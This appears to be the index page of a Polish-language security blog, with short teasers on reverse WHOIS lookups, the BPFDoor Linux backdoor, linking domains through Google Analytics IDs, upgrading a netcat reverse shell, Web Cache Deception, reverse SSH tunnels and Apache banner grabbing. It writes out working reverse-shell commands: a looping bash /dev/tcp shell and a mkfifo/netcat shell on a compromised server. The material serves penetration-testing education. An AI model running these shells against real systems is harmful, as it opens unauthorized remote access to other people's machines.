J

akiś czas temu zapoznaliśmy się z danymi rejestracyjnymi nazw domenowych WHOIS. Ich odwrotnością są bazy, które oprócz nazw domenowych indeksują inne metadane, aby później na ich podstawie zidentyfikować inne domeny. Tak działają właśnie bazy reverse whois – odnoszą się do pobierania wszystkich dostępnych informacji o określonej nazwie domeny. Możemy na przykład użyć dowolnej informacji zwykle widocznej w typowym rekordzie WHOIS (np. nazwisko właściciela domeny, nazwę firmy, adres e-mail itp.), aby wyszukać wszystkie nazwy domen, które mają te same metadane. Pomyślmy o tym w ten sposób: nie musimy już grzebać w rekordach DNS, aby ustalić jakie inne domeny należą do firmy „X”. Wystarczy, że znamy jej główną domenę. Za pomocą polecenia whois dla tej domeny możemy skupić się na charakterystycznej informacji i sprawdzić z jakimi innymi domenami jest ona jeszcze powiązana. Przykład:

whois hackergathering.com
...
Registrant Organization: Cyber Illuminati
Registrant Country: PL
...

Jeśli teraz przeszukamy bazy reverse whois szukając wartości rekordu: Cyber Illuminati w polu Owner name / Company name to powinniśmy otrzymać wszystkie inne domeny, które zostały założone przez organizację CI. Przykład – John Smith jest właścicielem 45,755 domen. Z kolei po adresie e-mail rejestratora Aftermarket możemy zobaczyć domeny za jakie jest odpowiedzialny, czy jakie domeny posiada firma OVH.

Więcej informacji: Whoxy, WhoisXML, DomainTools, ViewDNS, ReverseWhois

B

adacze bezpieczeństwa odkryli wysoce inwazyjne, chińskie narzędzie inwigilacyjne wykorzystujące Berkeley Packet Filter (BPF). Złośliwe oprogramowanie, nazwane BPFDoor, może być obecne na „tysiącach” systemów Linux, a jego kontroler pozostał prawie całkowicie niezauważony przez producentów zabezpieczeń punktów końcowych, mimo że jest używany od co najmniej pięciu lat. Jest to już drugi rodzaj złośliwego oprogramowania wykorzystującego BPF w Linuksie do ukrytej inwigilacji, który został ujawniony w tym roku, po odkryciu przez Pangu Lab w lutym 2022 r. backdoora NSA o nazwie Bvp47. Wówczas badacz bezpieczeństwa Kevin Beaumont zasugerował, że BPF (lub rozszerzony BPF – eBPF) jest wykorzystywany przez innych aktorów stanowiących zagrożenie. Beaumont, który wcześniej pracował w firmie Microsoft, ostrzegał wtedy przed konsekwencjami niebezpieczeństwa związanym z wprowadzeniem eBPF na inne platformy poza Linuksem: „Naprawdę, naprawdę mam nadzieję, że Microsoft opracował model zagrożenia, co się stanie z bezpieczeństwem, gdy wprowadzi eBPF do podstawowego systemu operacyjnego” (firma Microsoft w marcu 2021 roku zapowiedziała projekt open source, aby umożliwić działanie eBPF w systemie Windows 10 / Server 2016 i nowszych).
[ czytaj całość… ]

while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done 

P

odczas wyszukiwania domen lub subdomen należących do tej samej firmy możemy wykorzystać fakt, że często współdzieloną one ten sam Google Analytics ID lub AdSense ID. Wystarczy pobrać ze źródła strony HTML kod identyfikujący danego klienta. Na przykład dla GA będzie to:

curl -L https://pentest.target | egrep 'UA-[0-9]+'

_gaq.push(['_setAccount', 'UA-12345678-22']);

Tak pozyskany kod możemy wykorzystać na stronie site-overview.com (zmieniając tylko ostatni człon URL) lub dnslyrics.com w celu uzyskania informacji mówiącej nam jakie jeszcze inne domeny / subdomeny są pod niego podpięte. To samo tyczy się AdSense ID. Korzystając z site-overview najlepiej jeszcze wyniki przeszukać pod kątem wprowadzonego ID, ponieważ wyniki mogą być nadmiarowe. Warto również zwrócić na wartość liczby po ostatnim myślniku: -22 – oznacza to, że jest to 22’ga usługa powiązana z kontem UA-12345678.

Więcej informacji: Hussein Daher

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

2

7 lutego 2017 badacz bezpieczeństwa Omer Gil opublikował wpis opisujący atak „Web Cache Deception” (Oszukanie Pamięci Podręcznej Strony Internetowej). Wykorzystuje on funkcjonalność buforowania stron internetowych w celu potencjalnego ujawnienia poufnych informacji lub umożliwienia przejęcia konta (ang. Account Takeover). Buforowanie stron (ang. Web Caching) jest często używane w celu zmniejszenia obciążenia serwerów WWW i czasu ładowania treści stron. Atak Web Cache Deception pokazuje sposoby, w których biorąc pod uwagę pewne konfiguracje serwerów funkcja buforowania może być niewłaściwie użyta do udostępnienia treści nieprzeznaczonych do informacji publicznej. Zarówno buforujący serwer proxy, jak i strona źródłowa indywidualnie mogą mieć poprawne konfiguracje. Jednak w połączeniu ich w jeden system może dojść do nieoczekiwanego zachowania w świetle tej nowej metody ataku.
[ czytaj całość… ]

A

ktualnie ceny mikrokomputerów pozwalają na masowe ich podłączanie do sieci domowych. Często pełnią rolę multimedialnych stacji lub serwerów o konkretnym zastosowaniu znajdując się za mechanizmami NAT lub ścian ogniowych lokalnych routerów. W jaki sposób możemy dostać się zdalnie do takiego urządzenia bez robienia dziur w swoich sieciowych zabezpieczeniach? Rozwiązaniem jest użycie odwrotnego tunelu SSH.
[ czytaj całość… ]

W

iele standardowo zainstalowanych serwerów WWW obsługiwanych za pomocą Apacza ujawnia zbyt wiele danych umożliwiających przeprowadzenie tzw. ataku banner grabbing należącego do grupy ataków typu fingerprinting. Jeśli chodzi o standardową konfigurację Apacza atak banner grabbing można przeprowadzić bez szczegółowego wgłębiania się w nagłówek HTTP. W przypadku zdezaktualizowanych serwerów może stanowić to pretekst do szybko podjętej decyzji o ataku wymierzonym w wykryte podatności starszej wersji.
[ czytaj całość… ]

W

środowisku firmowym często można na serwerach intranetowych znaleźć oprogramowanie potencjalnie podatne na różnego rodzaju ataki. Co gorsza, zdarza się, iż od publikacji informacji o dziurze w zabezpieczeniach do wydania odpowiedniej łatki mija niemało czasu.
[ czytaj całość… ]